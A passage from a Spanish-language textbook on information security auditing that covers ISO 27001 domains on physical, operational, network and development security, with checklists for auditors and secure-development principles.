11.1.2 Es función también de los vigilantes de seguridad privada la realización

de controles físicos de entrada, como la identificación, la revisión de los objetos
introducidos en la instalación tales como maletines, bolsos de viaje, ordenadores
personales etc. Esto puede incluir el uso de escáneres para los objetos y el
cacheo para las personas o el uso de raquetas para la detección de metales o
porte de armas.
11.1.3 Seguridad en oficinas, despachos y recursos también es función de los

vigilantes de seguridad privada, el comprobar de forma sistemática, el correcto
funcionamiento de mecanismos de seguridad como por ejemplo el estado de las
cerraduras de despachos, el funcionamiento de las cámaras que componen el
CCTV y en caso de equipo grabación ,el correcto funcionamiento del mismo, el
control de llaves y tarjetas de identificación de visitantes, las entradas y salidas
de trabajadores internos / externos / visitas etc.
11.1.4 Protección contra las amenazas externas y ambientales bajo este

epígrafe se recoge todo el equipamiento antiincendios, así como otro
equipamiento como ejemplo los sistemas de aterramiento del edificio, la
existencia y verificación del correcto funcionamiento de los equipos de
generación eléctrica, etc.
11.1.5 Definición de las áreas seguras de la empresa y los trabajos que se

pueden realizar en las mismas, sobre todo en los casos de sectores como
defensa, aeroespacial y todas las relacionadas con biotecnología, que requieren
el cumplimiento estricto de protocolos de bioseguridad.
11.1.6 Zonas de acceso público y áreas de carga y descarga, procedimientos

relacionados con las visitas y con los trabajos, que se realizan en las zonas
destinas a la carga y descarga de mercancías.
11.2 Seguridad de la Equipos el conjunto de ítems que comprende este bloque

es prácticamente la especificación de la TIA 942 exceptuando los ítems que van
desde el 11.2.5 al 11.2.9 que son responsabilidad del área TIC de forma conjunta
con el área de Seguridad Física en lo relativo a la salida y entrada de equipos
físicos de las instalaciones, los ítems 11.2.8 y 11.2.9 son responsabilidad del
área TIC y en el caso del 11.2.9 es responsabilidad también del área de
Recursos Humanos y del área Legal.
Ahora entramos una de las secciones más extensas y complejas de evaluar

desde el punto de vista de la Auditoria pues requiere hacer varios tipos de
controles y por supuesto requiere un dominio profundo de todos y cada uno de
los tipos de auditorías que vimos, así como gran destreza en el uso de la ISO
27037 relativa a la obtención de evidencia y cadena de custodia, con fines
legales.
Página 111 de 430

Capítulo 15
Seguridad Operativa. ISO 20000

Dominio 12
12.1.1 La documentación es
de suma importancia, que este
organizada, actualizada y
debidamente regulado su
acceso, consulta y
modificación.
Los puntos 12.1.2,12.1.3

pertenecen a la ISO
20000:2011 pero se han de
tener presente para garantizar
sincronización entre el centro
operativo y el centro de
respaldo tanto para la
capacidad de proceso como
para la gestión de la capacidad
de almacenamiento y
comunicaciones.
12.1.4 Separación de entornos. Aunque pueda parecer una obviedad, esta

para señalar la necesidad de entonos separados para desarrollo, para pruebas
y de producción / explotación y deben ser independientes, entre sí, con el fin de
garantizar la mínima interferencia, sobre todo en lo relativo a exposiciones a
malware, virus, ataques de DDOs y Ramsomeware, entre todos ellos.
12.2 Controles contra el código malicioso, es muy importante tener un entorno

completamente aislado, para poder probar y verificar el comportamiento de
actualizaciones sospechosas, probar si un código fuente contiene rutinas o
segmentos de funciones, no habituales, que permiten acceder a bases de datos
o ficheros de datos del sistema que pueden comprometer de manera alarmante
las funciones de seguridad relativas a la integridad, y confidencialidad
comprometiendo la disponibilidad, sorteando las funciones habituales de registro
de identificación y autentificación de los usuarios por el sistema. También es
importante tener presente que los ataques vía código malicioso, puede acceder
el sistema mediante periféricos de red, tales como impresoras, faxes y otros
dispositivos así como sistemas auxiliares, que no son propiamente de
informática de gestión y sobre los cuales de forma habitual, no se efectúa
monitorización continua, esos dispositivos que configuran, la conocida IoT
(Internet de las Cosas [Internet of Thinks]) donde se desarrolla gran cantidad de
Página 112 de 430

código malicioso, precisamente debidamente a la falta de monitorización y

control, sobre actualizaciones.
12.3 Copias de Seguridad. Las copias de seguridad son relevantes por varias
razones, que vamos a recordar ahora y que siempre debemos tener presente y
en mente.
1.- Que estén gestionadas de forma correcta, esto es, están planificadas,
sus soportes debidamente controlados, se restauran de forma periódica
para comprobar su correcto funcionamiento, entonces podrán cumplir su
objetivo básico que es para garantizar, reducir al máximo el tiempo de
recuperación del sistema, limitado dicho tiempo, a los últimos datos, al
sistema antes de la siguiente copia de seguridad. Por ello es muy
importante planificar también el tipo de copia a automatizar por ejemplo
las totales y las diferenciales / incrementales.
2.- Minimizan los daños por cambios en las configuraciones hardware y

software, ante comportamientos no previsibles, aun proviniendo de
fuentes fiables, por ejemplo, las últimas actualizaciones. Esto se conoce
como líneas base.
3.- Permite recuperar las configuraciones previas de las aplicaciones,

desarrolladas en la propia empresa, o hacer frente a comportamientos
erráticos ante cambios introducidos en el sistema y que no pudieron ser
probados, en el entorno de pruebas, por olvido o por la imposibilidad de
replicar condiciones reales.
4.- Garantizan disponer siempre un soporte distinto del original, en cuanto

al medio físico de las licencias de software adquirido, fuera de la
instalación para en caso de desastre total o destrucción de importante
volumen, recuperarla las mismas, sin tiempos de espera.
Se deben tener varias políticas de copias de seguridad al menos referidas a los

ámbitos señalados. Desarrollo y Pruebas, las de desarrollo deben efectuarse
cuando los cambios introducidos en la aplicación afecten al núcleo o conexiones
de este con aplicaciones específicas, que tienen obligaciones legales o
tributarias, por ejemplo.
También cuando afectan al software base utilizado por dicha aplicación, por
ejemplo, sólo debería estar permitida una diferencia, de una versión entre la que
se utiliza para explotación y la que se usa en desarrollo con el fin poder realizar
análisis de vulnerabilidades cuasi correlativos en el tiempo.
Se debe de disponer de copias de datos de prueba, a partir de los reales, que
cubran todo el espectro de excepciones que la aplicación debe gestionar,
además, de los datos generados para efectuar las pruebas. Los datos de prueba
cuando se extraigan de datos reales deben criptografiarse, para que no puedan
ser utilizados fuera del ámbito de la empresa, mediante aplicación de controles
criptográficos en cumplimiento del Reglamento Europeo de Protección de Datos.
Página 113 de 430

12.4 Registros de Actividad y Supervisión (Monitorización).
Aunque de forma habitual, los servidores suelen estar monitorizados, debido a

la existencia de la función de seguridad física y lógica de la información, también
es importante tener en cuenta, que es muy importante recordar la necesidad de
no sólo hacerlo a nivel de servidores, sino también a nivel de clientes, dado que
se pueden realizar grandes esfuerzos e inversiones en protegerse de los ataques
externos, pero ¿Qué hay de los ataques internos, que incluso pueden ser mucho
más destructivos que los externos al crear brechas de seguridad y puertas
traseras?.
Aunque las actividades de esta parte de la norma ISO-IEC 27001 están bajo un
estricto control legal, como son la ley del secreto de las Telecomunicaciones, la
LOPD sustituida en un futuro próximo por el RGEPD y por supuesto todo lo que
quepa en las leyes de procedimiento laboral, es normal y habitual verificar que
los trabajadores hacen correcto un uso de las tecnologías dispuestas por la
empresa a su servicio, cumpliendo las políticas establecidas y aceptadas para
poder realizar el desempeño encomendado vía relación contractual (contrato de
trabajo), aunque la mayoría de la veces no se refleje en los contratos, este es
un derecho tácito, es decir, no declarado de manera formal y habitual, de la
empresa. Por tanto, todo el mundo es susceptible de ser monitorizado, tanto en
uso de la Internet como de la Intranet.
Por tanto, existen varios niveles de monitorización, siendo conveniente conocer

su operación y su gestión y la aplicación que del análisis a posteriori de dichos
datos, se realizar por parte de la empresa.
12.4.1 Registro y gestión de eventos y actividad. - Todos los sistemas

operativos, incorporan una gestión de eventos de actividad, que van desde las
comunicaciones internas a nivel señal y lenguaje máquina, con todas y cada una
las partes del propio ordenador, así como con las redes de datos sin distinción
de sin son exteriores o interiores de la propia empresa. Por tanto, toda operación
de intercambio de información entre dos partes sea cuales quieran que sean,
genera una señal y por tanto debe quedar reflejada dicha actividad, otra cuestión
es el significado que dicha actividad tienen en función del contexto y resultado,
de la misma. Estas actividades se conocen como evento. Por ejemplo, los
sistemas Clientes de Windows Server (Windows 7,8-8,1 y 10) tienen un sistema
de eventos que los clasifica en las siguientes categorías:
1.- Eventos Aplicación.

2.- Eventos Seguridad.
3.- Eventos Instalación.
4.- Eventos Sistema.
5.- Eventos Reenviados.
Además de los Servidores de Red y los Clientes conectados a ellos, hay otros
elementos que utilizan la gestión de eventos, para desarrollar sus funciones, por
ejemplo los Routers, los Switches de gama alta, los IPS / IDS, los sensores de
movimiento, etc… dado que las señales y sus significados nos permiten
establecer en muchos casos, relaciones de causa-efecto, es el trabajo que
Página 114 de 430

efectúan los motores de correlación, que utilizan en las herramientas SIEM, que
tomando como base la frecuencia y al tipo de eventos de eventos que se
presentan o acumulan en un intervalo de tiempo dado, pueden establecer las
posibles causas de este efecto.
12.4.2 Protección de los registros de información. - Este tipo de información

no debe estar accesible más que para un grupo de personas muy reducido, a las
que otros grupo puede a su vez monitorizar y viceversa, por lo que los sistemas
operativos utilizan funciones especiales para proteger los accesos a estos datos
de hecho, por ejemplo se suelen almacenar en dispositivos que no se encuentran
dentro de la misma red, o que se encuentran en la nube, donde sólo pueden
acceder grupos muy reducidos de personas, ya que se requieren definiciones de
permisos, que en la mayoría de la ocasiones necesitan varias autorizaciones de
niveles ejecutivos de la empresa utilizadora de la nube o del servicio de hosting.
12.4.3 Registro de actividad de los Administradores y operadores del

sistema. Como señalamos en el punto anterior los Administradores y los
Operadores del Sistema, no dejan de ser recursos humanos de la organización,
que desempeñan una función y es garantizar la operativa del negocio, para ello
deben proporcionar y sostener la confidencialidad, integridad y disponibilidad de
la información, a través de un vasto conjunto de medios técnicos. Por ello a la
vista del Auditor son un recurso humano más cuya función se debe analizar, para
garantizar la debida objetividad, los registros que reflejan la actividad de este
grupo de profesionales, se separan del sistema donde se desarrollan y se
almacenan en redes y dispositivos a los cuales, no tienen acceso, además de
establecer marcas especiales llamadas hashes, para garantizar la integridad,
confidencialidad y disponibilidad, más allá de quienes generan dicha
información, esto es lo auditados en este caso particular.
12.4.4 Sincronización de Relojes (NTP) todo evento que sucede dentro de un

sistema informático y telemático, ocurren en un determinado instante y por ello
es necesario que todos los dispositivos, estén sincronizados con los husos
horarios de una determinada zona. Por ello existe el protocolo NTP, utilizado por
Routers que a su vez sincroniza relojes de Servidores, Switches, IPS / IDS y
Clientes de la Red, ello nos permite establecer por ejemplo trazabilidad inversa
en determinados tipos de eventos, a través incluso de zonas geográficas tan
dispersas como pueda ser las antípodas respecto a un punto dado, por ello es
importante monitorizar y verificar que los relojes de todo nuestros sistemas están
sincronizados con el huso horario de la zona donde estamos efectuando la
Auditoria. Según la Wikipedia se define el NTP de la siguiente manera: Network
Time Protocol (NTP) es un protocolo de Internet para sincronizar los relojes de
los sistemas informáticos a través del enrutamiento de paquetes en redes con
latencia variable. NTP utiliza UDP como su capa de transporte, usando el puerto
123. Está diseñado para resistir los efectos de la latencia variable. Otra definición
del mismo NTP por MentaData©® Sistemas de Información es la siguiente.
NTP es un método común para sincronizar los relojes de sistemas informáticos

en redes locales y globales. El concepto básico, versión 1 [Mills88], se publicó
en 1988 como RFC (Request For Comments). Tras las experiencias obtenidas
de su uso práctico en Internet le siguió la versión 2 [Mills89]. El paquete de
Página 115 de 430

software NTP es una implementación de la versión 3 [Mills90], descrito en el

RFC-1305 de 1990.
Está permitido utilizar, copiar, modificar y distribuir este software para cualquier
propósito y de forma gratuita.
El funcionamiento de NTP difiere básicamente de la mayoría de los otros

protocolos. NTP no sincroniza todos los relojes conectados, establece una
jerarquía de servidores de tiempo y clientes. Cada nivel de esta jerarquía se
denomina estrato, y el Estrato 1 constituye el nivel más alto.
Los servidores de este nivel se sincronizan con una fuente de tiempo de

referencia, como un reloj radio controlado, receptor de GPS o módem. Los
servidores de Estrato 1 distribuyen el tiempo a distintos clientes de la red, que
se denominan Estrato 2.
Es posible una sincronización de alta precisión gracias a las distintas referencias

de tiempo. Cada ordenador se sincroniza con hasta tres fuentes de tiempo
fiables. NTP permite la comparación de las horas de la máquina y el ajuste del
reloj. Puede alcanzarse una precisión de 128 ms, con frecuencia mayor que 50
ms.
La importancia de este protocolo deriva de sus usos militares y civiles, todos ellos
relacionados, con sistemas de posicionamiento y navegación, terrestre, marítima
y área.
12.5 Control de instalación del software en el entorno de explotación. Es muy

importante garantizar que la instalación de un nuevo software, dentro del entorno
de explotación, no afectará de forma significativa a las aplicaciones existentes y
operativas, ni supondrá mermas de rendimiento para el resto. Es muy importante
Página 116 de 430

verificar, que tanto la instalación, como la desinstalación, en caso de ser

necesaria no obligara a efectuar más paradas diferentes de las previstas para el
mantenimiento que tienen que estar planificadas, informadas para todos los
usuarios y áreas de negocio afectadas, puedan a su vez planificar y adecuar sus
ciclos de negocio, a las mismas. Tratando de manera especial en aquellas áreas
de negocio de tipo non-stop o procesos continuos, suelen ser propias de
infraestructuras críticas, procesos industriales de ahí la importancia de tener
presente este ítem tanto para esta parte de control rutinario, como para la
elaboración de los BCP/ DPR. Se suele por precaución tener un sistema
redundante para poder conmutar en caso de presentarse problemas de
disponibilidad.
12.6 Gestión de las vulnerabilidades técnicas. Puesto que las vulnerabilidades

técnicas existen y es imposible erradicarlas, por la imposibilidad de replicar todos
los escenarios y circunstancias, que deben concurrir, para poder reproducirlas
es importante revisar una vez el inventario, que tenemos de la mismas, tanto
para el hardware como el software.
12.6.1 Gestión de las vulnerabilidades técnicas. Insistimos una vez que tenemos
un inventario clasificado de las mismas, debemos observar cuantas de ellas
radican sobre grupos de aplicaciones a través de las redes internas y externas
de la empresa, garantizando que se han tomado, todas las medidas posibles
para su erradicación o su mitigación hasta un nivel de riesgo aceptable.
12.6.2 Restricciones en la instalación de Software. En función de lo que la

dirección considere oportuno, de acuerdo con las actas del CSGSI se habrá
definido, una serie de restricciones bajo las cuales, un software no se debe
instalar por presentar niveles de riesgo inaceptable, por las repercusiones que,
sobre la integridad, la confidencialidad y disponibilidad de la información puede
presentar, tanto para sí misma, como para con el resto de las aplicaciones, que
comparte de datos, o que se integra.
12.7 Controles sobre la Auditoria de Sistemas de Información. El auditor deberá

de informar: que controles va a utilizar en función de los datos de los dispone de
acuerdo con las amenazas y vulnerabilidades detectadas, además de los que
tanto el Cliente como el Auditor están obligados por ley a demostrar su
cumplimiento satisfactorio, por ejemplo, los medios de detección y extinción de
incendios, los medios de video vigilancia y seguridad física (personal habilitado)
y los medios de cobertura legal, por ejemplo, seguros y reaseguros.
Página 117 de 430

Capítulo 16
Seguridad en las Telecomunicaciones. ISO 27010

Dominio 13
Entramos en un espacio que tiene

dos zonas bien delimitadas, la
primera es absolutamente técnica y
se inscribe en la Auditoria de Redes y
por tanto es supervisión de la correcta
aplicación de los estándares vigentes
y disponible, así como aplicables de
acuerdo con las leyes en cada
momento, el segundo es un espacio
legal donde la dirección técnica habrá de tener presente las restricciones legales
vigentes para no incumplir ninguna ley.
13.1.1 Controles de Red. Aunque la norma no explicita, hay controles que se

deben aplicar directamente tanto a los Firewall; como los IPS/IDS ya que
mientras el Firewall monitorea y verifica tanto el tráfico saliente como entrante el
IPS, no solo analiza el tráfico hasta la capa de red, cosa que hace el Firewall,
sino que además tiene capacidades para analizarlo hasta la capa de aplicación.
Debemos de tener presente que los IPS/IDS actúan como un segundo nivel de
filtrado del tráfico y pueden analizar no sólo las amenazas externas, sino también
las internas, por lo cual tendríamos todo el espectro cubierto, si bien es cierto
que el análisis de tráfico interno supone una sobrecarga de la red, por lo cual hay
que ser muy selectivo a la hora de fijar los criterios de qué tipo de tráfico se
analiza y cual no será objeto de análisis dentro de la intranet.
Es muy importante, verificar los siguientes parámetros, que vamos a señalar en

forma de guía o de recordatorio.
a) Ámbito físico. Verificar la disponibilidad y uso sistémico, de las

barreras de acceso físico o de controles mediante el uso de personal
de seguridad habilitado, para las salas donde radican los equipos de
comunicaciones y proceso. Además, el personal de seguridad
habilitado, para estas labores deberá verificar de forma sistemática
con el área de Recursos Humanos y con el área de Legal
quien/quienes tienen derecho de acceso a estas áreas seguras, tanto
por parte de la empresa, como para parte de terceros tanto; personal
externo acreditado, como visitantes. Es una buena política además de
lo ya señalado que estas zonas seguras además de tener controlado
el acceso estén video vigilada y que todos los equipos sensibles, estén
securizados mediante alguna tecnología como RFI. Esto mismo, es
Página 118 de 430

válido, para los accesos a las zonas que contienen los equipos de
soporte energético y climatización por razones obvias ya que también
forman parte de los componentes de la seguridad física. Verificar que
se han deshabilitado todos los puertos USB mediante la
correspondiente función BIOS.
b) Configuración Lógica Hay que cambiar todas las contraseñas, que

vienen por defecto o de fábrica, de cada uno de los equipos, en
especial: Routers, Switches, Servidores y Cámaras de Seguridad
que operan vía IP. Asignar contraseñas robustas más de ocho
caracteres que incluyan símbolos especiales. No permitir contraseñas
en blanco, verificar que tienen asignado un periodo de vida, no inferior
a 30 días, ni mayor de 60 días. Que las sesiones tienen un periodo de
vida latente determinado que una finalizado debe producir un logout
obligando al usuario de nuevo a identificarse y autenticase, mejor si el
método de autenticación es doble o triple frente al método simple. En
la medida de posible no permitir el uso de sistemas OLTP o SSO, sino
no se utiliza biometría múltiple. Verificar que sólo los Administradores
y los Operadores de Consola, pueden acceder a partes de los
Sistemas Operativos, que no están accesibles para los usuarios
convencionales como, por ejemplo: Paneles de Control, Consolas de
Comandos de Usuarios Privilegiados, etc…
c) Verificación de la no disponibilidad de protocolos no seguros.

Deben de estar deshabilitadas todas las funciones relacionadas con
protocolos o servicios no seguros como por ejemplo TELNET, permitir
sólo acceso a Internet de salida vía Proxys o a través de un proveedor
de servicios.
d) Verificar que tanto los Sistemas Operativos de Servidores y

Clientes están fortalecidos. Ello supone un importante trabajo
adicional, sobre la configuración tanto de servidores como de clientes
en cuanto a instalación y mantenimiento, pero garantiza una mejor
defensa, tanto contra las amenazas externas como internas, en
especial los malware y sobre todos el Ramsomeware que presenta
continuas variaciones.
e) Verificar la imposibilidad de que los Usuarios realicen

instalaciones de Software no autorizadas. Esto es importante tanto
para el modo de navegación, como para el modo de uso del correo
electrónico y sus adjuntos.
f) Monitorizar el tamaño y volumen de las transacciones. Observar

el volumen medio de transacciones por Usuario, así como todo lo
relativo al tamaño de la cuota asignada de disco por Usuario.
g) Monitorizar franjas de uso horario. Observar que el usuario se

corresponde con los turnos asignados de trabajo y que no hay accesos
Página 119 de 430

fuera de los horarios establecidos o en días marcados como hábiles

para este usuario.
h) Monitorizar impresión. Aunque pueda parecer absurdo es muy

importante controlar la información que se imprime y que se hace con
la misma una vez impresa, cual deberá conservarse en formato físico
por razones legales, cual es para trabajos internos y que se destruirá
una vez finalizados, los mismos. Aquí es muy importante que, si se
emplea una empresa de destrucción externa, aquellos documentos
que contengan información sensible de cualquier nivel: estratégico,
táctico operativo, sean destruidos dentro de la propia empresa. Para
ello es muy conveniente, que la impresión de estos documentos no
sea viable, más que en determinadas impresoras, y que se realice en
papel de color distinto del blanco. Por ejemplo, es importante que
además todos los consumibles como el revelador sean destruidos
físicamente dentro de la propia empresa, haciendo inviable la
recuperación de la misma.
i) Destrucción de soportes magnéticos y ópticos. Todos los soportes
deben ser destruidos mediante medios físicos, sí la empresa no cuenta
con los medios para hacerlo, entonces se puede hacer, vía empresa
externa, pero siempre se deberá aplicar los procedimientos seguros
recomendados. Por ejemplo: formateo de bajo nivel para los discos
duros y reescritura.
j) Cambios o sustituciones de componentes de un equipo. Cuando
se haya de producir sustituciones en componentes de equipo, se debe
realizar una copia espejo, del disco duro, antes de enviarlo al servicio
técnico, además de evitar la posible pérdida de datos para verificar a
la vuelta que se trata del mismo equipo.
Todos los elementos forman parte de los controles de Red y de los mecanismos
de control asociados a la red.
13.1.3 Segregación de Redes. Hablamos no hace mucho de la conveniencia de

separar los entornos de desarrollo, pruebas y explotación, bien aquí se verificará
que todas las redes están debidamente segregadas y que los puntos contactos
son los mínimos y están bajo una monitorización continua.
13.2 Intercambio de Información con partes externas. Lo primero hay que definir
qué se entiende por partes externas y son los Clientes y los Proveedores de
cualquier organización.
Dado que no dispone siempre de la información

necesaria y suficiente para garantizar unas
comunicaciones seguras, más estando Internet
por en medio, se requiere definir zonas
intermedias donde mediante aplicaciones
compartidas sea posible el intercambio de
información de manera fiable, esto es,
manteniendo la triada de la Integridad,
Página 120 de 430

Confidencialidad y Disponibilidad y añadiendo algunos atributos adicionales.
13.2.1 Políticas y Procedimientos de Intercambio de Información. Aquí se

definirán por ambas partes los otros atributos necesarios para poder desarrollar
la propia gestión por ejemplo la información relativa a bancos, pedidos, facturas,
especificaciones técnicas etc… dado que los nuevos atributos implican el uso en
casi todos los casos estructuras compartidas y en muchos casos reguladas por
ley.
13.2.2 Acuerdos de Intercambio. Es una cuestión legal, donde se definirá quien

accede y bajo qué circunstancias a una infraestructura especifica como un
determinado usuario con un determinado perfil y privilegios de acceso y uso. Se
le permite realizar ciertas operaciones, por ejemplo: revisar facturas y pedidos,
facturas y servicios, todos estos elementos deberían estar reflejados en los dos
sistemas participantes de igual forma, además de verificar la relevancia, sirve
también para verificar la calidad y accesibilidad además de garantizar la
uniformidad simplificando las discrepancias posibles que podría haber sobre
determinados aspectos de un producto o un proyecto.
13.2.3 Mensajería Electrónica. – Aquí se definirá quien / quienes tendrán acceso

y uso de esta tecnología, así como se establecerá por ejemplo si se admite el
uso temporal de la red corporativa del propio móvil de la persona.
13.2.4 Acuerdos de Confidencialidad y Secreto. Este es un tema que afecta por

igual al área de Recursos Humanos y al área de asuntos legales, tanto para los
recursos propios ;como para los ajenos, mientras exista una relación vinculante
pudiendo ser: laboral / mercantil / por proyecto y obliga a todos los participantes
a no revelar ninguna información, de cualquiera de las partes a un tercero, y eso
incluye todo lo relativo a los accesos a infraestructuras tecnológicas de cualquier
clase, tipo y ubicación ya sea física o lógica, por ejemplo en los casos más
simples Usuario y Contraseña así como Dominio o punto de acceso ya sea vía
Https / TLS / SSH por hablar de las situaciones más habituales, también se suele
incluir la descarga de información integrante de proyectos.
Página 121 de 430

Capítulo 17
Adquisición, Desarrollo y Mantenimiento de los

Sistemas de Información.
Dominio 14
14 Adquisición, Desarrollo y
Mantenimiento de los Sistemas
de Información.
Entramos en un grupo de
controles que es interesante y
complejos de abordar, con
garantías de éxito, tanto por el
cliente como por auditor, debido
a la continua evolución que todas
las herramientas y lenguajes de
programación están sufriendo.
14.1.1 Análisis y especificación de los requisitos de seguridad. Esto implica dos

niveles muy claros de especificaciones y que son que operaciones permitimos
con los datos, según quien accede a los mismos, por un lado, contemplando las
facilidades de seguridad de los Sistemas Operativos de Red y sus herramientas
de gestión de perfiles o entidades. Y de otro implantar mecanismos de vuelta
atrás, para mantener los tres atributos de la información en sus condiciones
habituales.
14.1.2 Esto es un recordatorio para que todos los accesos, se hagan siempre
bajo protocolos seguros, además de haber superado de forma satisfactoria los
controles propios de la auditoria de redes a través de todos los elementos de
seguridad, tanto para comunicaciones internas como externas vía red pública.
14.1.3 Protección de las transacciones por redes telemáticas. Se deben

introducir mecanismos orientados a garantizar la integridad de los datos desde
el origen hasta el destino final de los datos, las redes deben proporcionar
seguridad como por ejemplo detectar si alguien inyecta paquetes de datos
envenenados, si hay una sobredemanda de peticiones a un servidor de datos
DDoS.
14.2 Seguridad en los procesos de desarrollo y soporte.
14.2.1 Política de Desarrollo Seguro. Es un documento que debe estar elaborado

por el Director de Desarrollo y consensuado con el Director de Explotación con
la supervisión del CISO (Director de Seguridad), sí existe esta figura, si no de
Página 122 de 430

forma alternativa deberá ser aprobado por el CSGSI. Es muy importante

explicitar sin lugar a duda alguna que la documentación, incluyendo el código
fuente, que se esté ejecutando en cada momento deben coincidir y que cualquier
modificación debe quedar debidamente reflejada y justificada su aprobación.
14.2.2 Procedimientos de Control de cambios en los Sistemas (aplicaciones).

Todo cambio debe ser reflejado y aprobado, mediante las correspondientes
actas y tanto el personal de desarrollo interno y externo, así como el personal
del área de explotación, deben tener no sólo conocimiento de los cambios
aprobados, sino que deben tener previstos mecanismos de vuelta atrás una vez
superadas las pruebas, ya que a veces las pruebas pueden no ser
suficientemente ni extensas, ni profundas.
14.2.3 Revisión técnica en las aplicaciones tras cambios en los sistemas

operativos. Este control está especialmente recomendado, por los continuos
cambios, que se introducen en los sistemas operativos de los clientes, debido a
que son los que están más expuestos a ataques de todo tipo, y porque
evidentemente; es mucho más simple diseñar un ataque para un sistema
operativo cliente, que no diseñar ese mismo ataque para un sistema operativo
de red o servidor, e inocularlo en forma de actualización, recurriendo al phising
para introducirlo como una actualización proveniente de la fuente original.
14.2.4 Restricciones a los cambios en paquetes de software. Es similar a la

anterior, pero esto se aplica software comercial y utilidades, distinto de los
sistemas operativos, dado que es más susceptible de ser modificado, aunque los
ataques se articulan más a través del uso de macros y lenguajes de scripts
incluidos en estas herramientas ofrecidos como complementos gratuitos.
14.2.5 Uso de los principios de protección de la ingeniería de sistemas. Consiste

en la aplicación de una determinada metodología y sus herramientas asociadas
conforme a un modelo, aunque para quien no esté familiarizado con esta
disciplina compleja, que abarca dentro de sí varias, proponemos a manera de
guía de tener presente las siguientes recomendaciones extraídas de
http://www.welivesecurity.com/la-es/2014/02/28/10-principios-basicos-para-
desarrollo-seguro/ y que son las que nos interesan en este momento y para este
control en particular.
1. Partir siempre de un modelo de permisos mínimos, es mejor ir escalando

privilegios por demanda de acuerdo con los perfiles establecidos en las etapas
de diseño.
2. Si se utiliza un lenguaje que no sea compilado, asegurarse de limpiar el código
que se pone en producción, para que no contenga rutinas de pruebas,
comentarios o cualquier tipo de mecanismo que pueda dar lugar a un acceso
indebido.
3. Nunca confiar en los datos que ingresan a la aplicación, todo debe ser
verificado para garantizar que lo que está ingresando a los sistemas es lo
esperado y además evitar inyecciones de código.
Página 123 de 430

4. Hacer un seguimiento de las tecnologías utilizadas para el desarrollo.

Estas van evolucionando y cualquier mejora que se haga puede dejar obsoleta
o inseguras versiones anteriores.
5. Todos los accesos que se hagan a los sistemas deben ser validados.
6. Para intercambiar información sensible utilizar protocolos para cifrar las

comunicaciones, y en el caso de almacenamiento la información
confidencial debería estar cifrada utilizando algoritmos fuertes y claves
robustas.
7. Cualquier funcionalidad, campo, botón o menú nuevo debe agregarse de
acuerdo con los requerimientos de diseño. De esta forma se evita tener
porciones de código que resultan siendo innecesarias.
8. La información almacenada en dispositivos móviles debería ser la mínima,
y más si se trata de contraseñas o datos de sesión. Este tipo de dispositivos son
los más propensos a ser que se pierdan y por lo tanto su información puede ser
expuestas más fácilmente.
9. Cualquier cambio que se haga debería quedar documentado, esto facilitará
modificaciones futuras.
10. Poner más cuidado en los puntos más vulnerables, no hay que olvidar que
el nivel máximo de seguridad viene dado por el punto más débil.
Teniendo presente estas recomendaciones y verificando su cumplimiento

debería verse reducido el número de incidentes dentro de nuestro ámbito como
empresa.
14.2.6 Seguridad en entornos de desarrollo. Básicamente tener en cuenta todas

las excepciones que todos programas deben contemplar, verificando que las
actualizaciones de las herramientas de software base y lenguajes de desarrollo
incorporados, dentro de las herramientas o de lenguajes externos proceden de
fuentes solventes no contienen código malicioso.
Es muy importante disponer de herramientas de control de versiones y también

de distribución de software, para garantizar una concordancia con trazabilidad
inversa entre lo que está documentado como desarrollo, probado y verificado sus
resultados antes de su paso al entorno de explotación y lo que se está
ejecutando.
14.2.7 Externalización del Desarrollo Software. La externalización de Software

es una solución, que requiere la implicación de varias áreas dentro de la empresa
además del área de desarrollo propia. Esas áreas son el área legal que deberá
en todo momento supervisar los contratos, en todas y cada una de sus distintas
facetas, así por ejemplo ley de propiedad intelectual, el derecho de acceso y
propiedad del código fuente, contratos de confidencialidad y deber de secreto de
toda cuanta información le sea facilitada durante el, desarrollo, tanto la relativa a
las infraestructuras físicas y lógicas de la empresa, como datos de clientes reales
o simulados, para la realización de pruebas, etc.…Las otras partes que no son
la parte legal, están obligadas a verificar, desde la perspectiva, en la que son
Página 124 de 430

competentes por definición, el cumplimiento de las cláusulas objeto del contrato

e informar de cualquier irregularidad observada. No se considerará
externalización de software, la adecuación de una aplicación al entorno de la
organización que la adquiere, así como la carga de datos o traspaso de los
mismos desde una fuente a otra. La externalización implica que se está creando
un programa o un conjunto de estos que no cubre ninguna de las actuales
aplicaciones o sistemas disponibles, y que sobrepasa la capacidad del área de
desarrollo de la empresa de ahí su externalización, también por criterios
tributarios.
14.2.8 Pruebas de funcionalidad durante el desarrollo de sistema. Una prueba

funcional es una prueba basada en la ejecución, revisión y retroalimentación de
las funcionalidades previamente diseñadas para el software. Las pruebas
funcionales se hacen mediante el diseño de modelos de prueba que buscan
evaluar cada una de las opciones con las que cuenta el paquete informático.
Dicho de otro modo, son pruebas específicas, concretas y exhaustivas para
probar y validar que el software hace lo que debe y, sobre todo, lo que se ha
especificado. Existen los siguientes tipos de pruebas: Exploratorias,
Regresión, de Compatibilidad, de Integración y por último de Aceptación
ahora introducimos una descripción sinóptica de cada una de ellas.
Exploratorias Son aquellas pruebas a través de las cuales, simultáneamente, se obtiene

un aprendizaje y conocimiento de la aplicación a probar a la vez que se genera un valor
desde el primer momento. Ayudan a la integración de la fase de pruebas de una forma
mucho más rápida, pues permiten al testar elaborar un guion de pruebas que utilizará para
el diseño de los futuros planes de pruebas. Estas pruebas son realmente útiles a la hora de
probar aplicaciones ya desarrolladas, es decir, aquellas pruebas de software que no
comienzan a la vez que el desarrollo. Para realizar las pruebas funcionales exploratorias se
identificarán los distintos procesos de negocio o módulos de la aplicación y se le dará al
testar libertad, poniéndose en la piel de un usuario, para probarlos. Estas pruebas
exploratorias deberán ejecutarse sobre la última versión cerrada disponible de la aplicación.
Regresión El objetivo de las pruebas de regresión es eliminar el efecto onda, es decir,

comprobar que cambios realizados en el software no introducen un comportamiento no
deseado o errores adicionales en otros módulos o partes no modificados. Las pruebas de
regresión se deben llevar a cabo cada vez que se hace un cambio en el sistema, tanto para
corregir un error como para realizar una mejora. No es suficiente probar sólo los
componentes modificados o añadidos, o las funciones que en ellos se realizan, sino que
también es necesario controlar que las modificaciones no produzcan efectos negativos sobre
el mismo u otros componentes. Este tipo de pruebas tiene que garantizar que, tras un cambio
en el software, al menos la funcionalidad más importante sigue funcionando. Para este tipo
de pruebas lo ideal es automatizar los casos que validen que estas partes siguen
funcionando, pues se ejecutarán de manera repetitiva a lo largo del ciclo de vida del
software.
Compatibilidad Las pruebas de compatibilidad son pruebas funcionales realizadas en

